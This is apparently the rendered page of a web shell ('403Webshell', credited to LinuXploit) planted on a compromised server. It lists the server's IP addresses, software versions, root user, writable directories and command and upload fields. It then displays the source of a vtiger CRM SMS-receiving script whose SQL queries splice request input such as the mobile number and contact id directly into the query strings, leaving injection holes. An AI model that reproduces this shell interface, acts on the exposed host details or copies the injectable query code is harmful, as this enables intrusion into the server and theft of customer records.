403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.217.122
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/soltelcocrm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/soltelcocrm/recievesms.php
<?php
include_once 'include/Webservices/Relation.php';
include_once 'vtlib/Vtiger/Module.php';
include_once 'includes/main/WebUI.php';

global $current_user,$adb,$root_directory,$log;
$current_user = Users::getActiveAdminUser();

$data = file_get_contents("php://input");
$newData =  json_decode($data,true);
$mobile = $newData['mobile'];
if(strpos($mobile, "+252") !== false){
  $mobile = trim($mobile, "+252");
}
  $sql = "SELECT vtiger_contactdetails.contactid as id FROM vtiger_contactdetails
  INNER JOIN vtiger_crmentity ON vtiger_crmentity.crmid = vtiger_contactdetails.contactid
  WHERE vtiger_contactdetails.mobile LIKE '%$mobile' AND vtiger_crmentity.deleted=0";
  $resultQuery = $adb->pquery($sql, array());
  $rows = $adb->num_rows($resultQuery);
  if($rows>0){
    $id = $adb->query_result($resultQuery,0,'id');
  }
  $message = $newData['message'];
  $newmsg = utf8_decode(urldecode($message));
  if((!empty($mobile)) && (!empty($newmsg))){  
    $Receive = 'Receive';
    $newrecordModel=Vtiger_Record_Model::getCleanInstance('SmsLog');
    $newrecordModel->set('sms_mobile_no',$mobile);
    $newrecordModel->set('sms_templates_msg',$newmsg);
    $newrecordModel->set('sms_type',$Receive);
    $newrecordModel->set('sms_contactid',$id);
    $newrecordModel->set('api_status',$data);
    $newrecordModel->save();

    //insert data in happinessmeter using record model
    if($newData['message'] == 1){
      $customerservice = 'Very Unsatisfied';
    }else if($newData['message'] == 2){
      $customerservice = 'Unsatisfied';
    }else if($newData['message'] == 3){
      $customerservice = 'Neutral';
    }else if($newData['message'] == 4){
      $customerservice = 'Satisfied';
    }else if($newData['message'] == 5){
      $customerservice = 'Very Satisfied';
    }

    $getMobileNumber = "SELECT * FROM vtiger_smswaitingresponse WHERE status = 0";
    if($id){
      $getMobileNumber .= " AND customer_number = $id";
    }
    $getMobileNumber .= " ORDER BY id ASC ";
   // echo "<pre>";print_r($getMobileNumber);exit;
    $MobileresultQuery = $adb->pquery($getMobileNumber, array());
    $rows = $adb->num_rows($MobileresultQuery);
    if($rows>0){
      for($i = 0;$i < $rows;$i++){
          $responseid = $adb->query_result($MobileresultQuery,$i,'id');
          $customer_number =$adb->query_result($MobileresultQuery,$i,'customer_number');
          $service_product_type = $adb->query_result($MobileresultQuery,$i,'service_product_type');

          $status = $adb->query_result($MobileresultQuery,$i,'status');
          $uodateStatusQuery = "UPDATE vtiger_smswaitingresponse SET status = 1 WHERE id = $responseid";
          $upStatusQuery = $adb->pquery($uodateStatusQuery, array());
          $CheckWaitingTableData = "SELECT vtiger_contactdetails.contactid as id FROM vtiger_contactdetails INNER JOIN vtiger_crmentity ON vtiger_crmentity.crmid = vtiger_contactdetails.contactid WHERE vtiger_crmentity.deleted=0 AND vtiger_contactdetails.contactid = $customer_number AND vtiger_contactdetails.mobile LIKE '%$mobile'";
          
      }
    }
    $HappinessRcordModel=Vtiger_Record_Model::getCleanInstance('HappinessMeter');
    $HappinessRcordModel->set('related_contact',$customer_number);
    $HappinessRcordModel->set('customer_services',$customerservice);
    $HappinessRcordModel->set('contact_simnumber',$mobile);
    $HappinessRcordModel->set('user_products_services',$service_product_type);
    $HappinessRcordModel->save();
  }




/*$sql = "SELECT vtiger_contactdetails.contactid as id FROM vtiger_contactdetails
INNER JOIN vtiger_crmentity ON vtiger_crmentity.crmid = vtiger_contactdetails.contactid
WHERE vtiger_contactdetails.mobile LIKE '%$mobile' AND vtiger_crmentity.deleted=0";
$resultQuery = $adb->pquery($sql, array());
$rows = $adb->num_rows($resultQuery);
if($rows>0){
  $id = $adb->query_result($resultQuery,0,'id');
}
$message = $newData['message'];
if((!empty($mobile)) && (!empty($message))){	
  $Receive = 'Receive';
	$newrecordModel=Vtiger_Record_Model::getCleanInstance('SmsLog');
	$newrecordModel->set('sms_mobile_no',$mobile);
	$newrecordModel->set('sms_templates_msg',$message);
  $newrecordModel->set('sms_type',$Receive);
  $newrecordModel->set('sms_contactid',$id);
  $newrecordModel->set('api_status',$data);
	$newrecordModel->save();

  //insert data in happinessmeter using record model
  if($newData['message'] == 1){
    $customerservice = 'Very Unsatisfied';
  }else if($newData['message'] == 2){
    $customerservice = 'Unsatisfied';
  }else if($newData['message'] == 3){
    $customerservice = 'Neutral';
  }else if($newData['message'] == 4){
    $customerservice = 'Very Satisfied';
  }else if($newData['message'] == 5){
    $customerservice = 'Satisfied';
  }
  $CheckWaitingTableData = "SELECT vtiger_contactdetails.contactid as id FROM vtiger_contactdetails
  INNER JOIN vtiger_crmentity ON vtiger_crmentity.crmid = vtiger_contactdetails.contactid
  WHERE vtiger_contactdetails.mobile LIKE '%$mobile' AND vtiger_crmentity.deleted=0";
  echo "<pre>";print_r($CheckWaitingTableData);exit;
  $HappinessRcordModel=Vtiger_Record_Model::getCleanInstance('HappinessMeter');
  $HappinessRcordModel->set('related_contact',$id);
  $HappinessRcordModel->set('customer_services',$customerservice);
  $HappinessRcordModel->set('contact_simnumber',$mobile);
  $HappinessRcordModel->save();

}*/


?>

Youez - 2016 - github.com/yon3zu
LinuXploit